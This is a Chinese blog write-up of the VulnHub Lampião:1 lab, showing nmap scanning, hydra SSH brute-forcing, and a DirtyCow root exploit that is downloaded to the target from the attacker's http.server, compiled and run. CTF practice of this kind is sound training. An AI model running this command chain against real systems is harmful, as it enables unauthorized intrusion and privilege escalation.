《VulnHub》Lampião:1
title: 《VulnHub》Lampião:1
date: 2024-03-28 21:37:49
updated: 2024-03-28 21:37:50
categories: WriteUp:Cyber-Range
excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞,dirb 爆破网站目录,cewl 创建社工密码字典,hydra 破解 ssh 密钥,使用 sh 脚本检测 Linux 系统的安全缺陷,在目录下开启简单 http 服务,40847 DirtyCow 利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集 & 威胁建模
- 2.2:漏洞分析 & 渗透攻击
- 2.3:后渗透
- 3:总结
- 3.1:命令 & 工具
- 3.1.1:Nmap
- 3.1.2:dirb
- 3.2:关键技术
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。
1:靶场信息
靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/
2:打靶
2.1:情报收集 & 威胁建模
主机发现:
nmap -sn 192.168.8.0/24
确定目标 IP 为 192.168.8.139。
进行端口扫描、服务探测、操作系统探测:
nmap 192.168.8.139 -p- -sV -sC -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:23 HKT
Nmap scan report for 192.168.8.139
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 00:0C:29:3E:06:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.24 seconds
对开放的端口探测漏洞:
nmap 192.168.8.139 -p 22,80,1898 --script=vuln
根据之前得到的信息访问一下 80 端口。
查看源码也没有发现什么信息。那就访问一下 1898 端口。
发现一篇文章可以点击。
遍历一下网页节点,发现两个信息。
qrc.png 是一张二维码,扫描后没有有用的信息。
audio.m4a 是一段音频。
播放后可以听到以下信息:
user tiago
以下这个页面也是没有什么有效信息。
尝试爆破一下网页目录:
dirb http://192.168.8.139:1898/
爆破多级目录:
dirb http://192.168.8.139:1898/ -w
没有爆破出什么有用信息。倒是在 robots.txt 文件中发现一个 CHANGELOG.txt 文件
在这里可以看到 CMS 版本:Drupal 7.54, 2017-02-01
至此页面没啥可获取的信息了。发挥一下这个网站的余热,用它来生成一份社工性质的字典。
使用 cewl 通过爬虫获取关键信息创建一个密码字典:
cewl http://192.168.8.139:1898/ -w cewl.txt
2.2:漏洞分析 & 渗透攻击
根据前面获取的 user tiago
信息,尝试爆破一下 ssh 密码。
hydra 爆破 ssh 密钥:
hydra -l tiago -P cewl.txt 192.168.8.139 ssh
成功爆破出账号密码。
host: 192.168.8.139 login: tiago password: Virgulino
使用刚刚获得的用户登录 ssh。
也可以使用 MSF 利用 Drupal 漏洞进行渗透攻击。这里不做记录。
2.3:后渗透
谷歌搜索一下 Linux 相关检测脚本,可以检测 Linux 上的安全缺陷。关键字:linux exploit suggest
https://github.com/The-Z-Labs/linux-exploit-suggester
可以用推荐的命令快速下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
在相应目录下开启一个简单的 http 服务,便于目标机器下载相应利用代码。
python3 -m http.server 8088
目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/les.sh
赋权并运行,检测目标机器上的安全缺陷。
安全缺陷枚举信息如下(只列出一部分):
tiago@lampiao:/tmp$ chmod +x les.sh
tiago@lampiao:/tmp$ ./les.sh Available information:Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OSSearching among:81 kernel space exploits
49 user space exploitsPossible Exploits:[+] [CVE-2016-5195] dirtycowDetails: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]Download URL: https://www.exploit-db.com/download/40611Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2016-5195] dirtycow 2Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}Download URL: https://www.exploit-db.com/download/40839ext-url: https://www.exploit-db.com/download/40847Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2021-3156] sudo Baron Samedit 2Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: probableTags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/Exposure: less probableTags: ubuntu=(22.04){kernel:5.15.0-27-generic}Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.cComments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2022-2586] nft_object UAFDetails: https://www.openwall.com/lists/oss-security/2022/08/29/5Exposure: less probableTags: ubuntu=(20.04){kernel:5.12.13}Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2021-3156] sudo Baron SameditDetails: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: less probableTags: mint=19,ubuntu=18|20, debian=10Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main[+] [CVE-2016-0728] keyringDetails: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/Exposure: less probableDownload URL: https://www.exploit-db.com/download/40003Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-workingtiago@lampiao:/tmp$
同时查看一下目标系统 sudo 命令版本信息:
sudo --version
注意到目标系统存在 “ 脏牛 ” 漏洞。查找一下可用 exp。
searchsploit 40847
查找一下相关的信息。
可以看到利用信息。
https://www.exploit-db.com/exploits/40847
将 kali 上的 exp 拷贝到某个目录,并开启 http 服务,将 exp 上传至目标。
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/lampiao/
python3 -m http.server 8088
wget http://192.168.8.15:8088/40847.cpp
编译为可执行文件并运行。
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
./myexp
利用成功,使用以上密码(dirtyCowFun
)即可登录 root。
ssh root@192.168.8.139
完结。
3:总结
3.1:命令 & 工具
- nmap
- dirb
- cewl
- hydra
- linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester - wget
- python
- searchsploit
- g++
- ssh
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sn | Ping Scan - disable port scan |
-sV | Probe open ports to determine service/version info |
-sC | equivalent to --script=default |
-O | Enable OS detection |
--script=<Lua scripts> | <Lua scripts> is a comma separated list of directories, script-files or script-categories |
nmap 脚本:
--script=default
:默认的脚本,提供一些基本的漏洞探测和信息收集。--script=vuln
:用于检测目标系统上的漏洞。
3.1.2:dirb
dirb,kali linux 下的一个 web 网站目录爆破工具。
部分选项:
参数 | 介绍 |
---|---|
-w | Don't Stop on WARNING messages. |
《Dirb工具web网站目录爆破指南》:
https://zhuanlan.zhihu.com/p/267973016
3.2:关键技术
-
主机发现:
nmap -sn <ip cidr>
-
端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sV -sC -O
-
对开放的端口探测漏洞:
nmap <target> -p <port> --script=vuln
-
爆破网站目录:
dirb <url> [-w]
-
爬取网页,创建社工密码字典:
cewl <url> -w <txt file>
-
hydra 破解 ssh 密钥:
hydra -l <user> -P <password file> <target> ssh
-
使用 sh 脚本检测 Linux 系统的安全缺陷。项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester
-
在目录下开启简单 http 服务:
python3 -m http.server 8088
-
查找 kali 自带的 exp:
searchsploit <id>
-
40847 DirtyCow 利用:
https://www.exploit-db.com/exploits/40847
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
贫贱非辱,贫贱而谄求于人者为辱。
——《围炉夜话》(清)王永彬
相关文章:

《VulnHub》Lampião:1
title: 《VulnHub》Lampio:1 date: 2024-03-28 21:37:49 updated: 2024-03-28 21:37:50 categories: WriteUp:Cyber-Range excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞&#x…...

RabbitMq高可用
消息队列高级 服务异步通信-高级篇1.消息可靠性1.1.生产者消息确认1.2.消息持久化1.3.消费者消息确认1.4.消费失败重试机制1.5.总结 2.死信交换机2.1.初识死信交换机2.2.TTL2.3.延迟队列 3.惰性队列3.1.消息堆积问题3.2.惰性队列 4.MQ集群4.1.集群分类4.2.普通集群4.3.镜像集群…...

降本增效的车间管理大屏,车间主任看了拍手称快,速来领取。
我们老板觉得车间生产效率太低了,还想让我整一套车间管理的! 制造业管理的核心在于降本增效,车间管理可以通过【大数据可视化】来提高管理效率,大屏就可以做到生产管理一「屏」了然,这是【车间管理大屏方案】。 一、…...

Open AI要给GPT应用开发者“发钱” 黄金的宏观关系被打破了吗?
内容摘要 为避免GPTs彻底凉凉,Open AI紧急启动了一项“货币化”计划,直接给那些在GPT Store上的应用开发人员发钱。 正文部分 当地时间周四凌晨,OpenAI在社交媒体上发帖称,正在与小部分美国开发者合作,基于用户使用…...

【Docker】Docker安全与最佳实践:保护你的容器化应用程序
欢迎来到英杰社区: https://bbs.csdn.net/topics/617804998 欢迎来到阿Q社区: https://bbs.csdn.net/topics/617897397 📕作者简介:热爱跑步的恒川,致力于C/C、Java、Python等多编程语言,热爱跑步ÿ…...
QT 信号(Signal)与槽(Slot)机制
上学后,人们问我长大了要做什么,我写下“快乐”。他们告诉我,我理解错了题目,我告诉他们,他们理解错了人生。 ——约翰列侬 一、信号(signal)与槽(slot) 在QT中,信号(signal)与槽(slot)机制是一种用于对象间通信的重要机制。它允许一个对象发出信号,而其他对象…...
音频干扰检测(频域方法)
测试音响系统的通路上是否有外部干扰时,可以通过播放1000赫兹的正弦波信号,在输出端采集数字信号(I2S,TDD,A2B)并保存为.wav文件。 然后通过以下Python代码检测。 import numpy as np import librosa im…...
Rust引用借用 vs 原始指针
let v: i32 10; let v1 &v; let a: *const i32 &v; println!("a{:p}", a); let b a as *mut i32; //无法从&v直接转换成*mut i32,需要从*const i32过度 println!("b{:p}", b); unsafe {*b1; } println!("v{} v1{}"…...

抖音视频关键词无水印下载软件|手机网页视频批量提取工具
全新视频关键词无水印下载软件,助您快速获取所需视频! 随着时代的发展,视频内容已成为人们获取信息和娱乐的重要途径。为了方便用户获取所需视频,推出了一款功能强大的视频关键词无水印下载软件。该软件主要功能包括关键词批量提取…...

关于Devc++调试的问题以及解决STL变量无法查看
目前Devc的调试主要有以下几点: 1.调试不能直接查看stl变量,会卡死不动 2.目前单步进入只能用鼠标键按 3.若想按下一步进入函数体内,要在函数体内打上断点才行 4.调试到return 0 ;上一句就停了,不会结束程序 5.目前F2跳至断点…...

MATLAB:优化与规划问题
一、线性规划 % 线性规划(Linear programming, 简称LP) fcoff -[75 120 90 105]; % 目标函数系数向量 A [9 4 7 54 5 6 105 10 8 53 8 9 77 6 4 8]; % 约束不等式系数矩阵 b [3600 2900 3000 2800 2200]; % 约束不等式右端向量 Aeq []; % 约束等式系…...
Oracal执行计划解析
概述 | Id | Operation | Name | Rows | Bytes | TempSpc | Cost (%CPU) | Time | ----------------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 1…...

对form表单对象中数组中的字段进行校验的方法
当对form表单中,数组readings中的字段进行校验时,prop和rules绑定要写成动态的,如下代码 <div v-for"(item,index) in form.readings"><el-form-item label"上次读数" > <!--prop"scds"-->…...

一、JAVA集成海康SDK
JAVA集成海康SDK 文章目录 JAVA集成海康SDK前言一、项目依赖 jar1. examples.jar2. 项目依赖 jna.jar,可以通过 maven依赖到。二、集成SDK1.HcNetSdkUtil 海康 SDK封装类2.HCNetSDK3.Linux系统集成SDK三、总结前言 提示:首先去海康官网下载 https://open.hikvision.com/dow…...
PAT 乙级 1031 查验身份证 c语言实现
一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下: 首先对前17位数字加权求和,权重分配为:{7,9,10,5,8,4,2,1&am…...
LeetCode 345. 反转字符串中的元音字母
给你一个字符串 s ,仅反转字符串中的所有元音字母,并返回结果字符串。 元音字母包括 ‘a’、‘e’、‘i’、‘o’、‘u’,且可能以大小写两种形式出现不止一次。 示例 1: 输入:s “hello” 输出:“holl…...
go中函数与方法的区别与go中关于面向对象理解
声明方法的区别 函数是一段可以独立调用的代码块,它可以有参数和返回值。函数的声明不依赖于任何类型,可以直接通过函数名进行调用。 函数的声明格式如下: func functionName(parameters) returnType {// 函数体 }示例: func A…...

SQL Server 实验二:数据库视图的创建和使用
目录 第一关 相关知识 什么是表 操作数据表 创建数据表 插入数据 修改表结构 删除数据表 编程要求 第一关实验代码: 第二关 相关知识 视图是什么 视图的优缺点 视图的优点 视图的缺点 操作视图 创建视图 通过视图向基本表中插入数据 通过视图修改基本表的…...
树结构导入
Testpublic void testExcel1() {// 写法1:JDK8 ,不用额外写一个DemoDataListener// since: 3.0.0-beta1EasyExcelFactory.read(new File("C:\\Users\\Admin\\Desktop\\树导入.xlsx"), null, new ReadListener<Map>() {public static final int BATC…...
Promise封装ajax
Promise封装原生ajax 1.node的内置模块url, http 2.Promise封装原生ajax 01-node的内置模块 # url: 操作网址 let url require(url) url.parse(网址, [布尔值: 决定是否将查询字符串转换为对象格式]): 将网址解析成对象# http: 创建本地服务器 let http requi…...

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明
LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造,完美适配AGV和无人叉车。同时,集成以太网与语音合成技术,为各类高级系统(如MES、调度系统、库位管理、立库等)提供高效便捷的语音交互体验。 L…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能
下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)
在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马(服务器方面的)的原理,连接,以及各种木马及连接工具的分享 文件木马:https://w…...
Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信
文章目录 Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket(服务端和客户端都要)2. 绑定本地地址和端口&#x…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...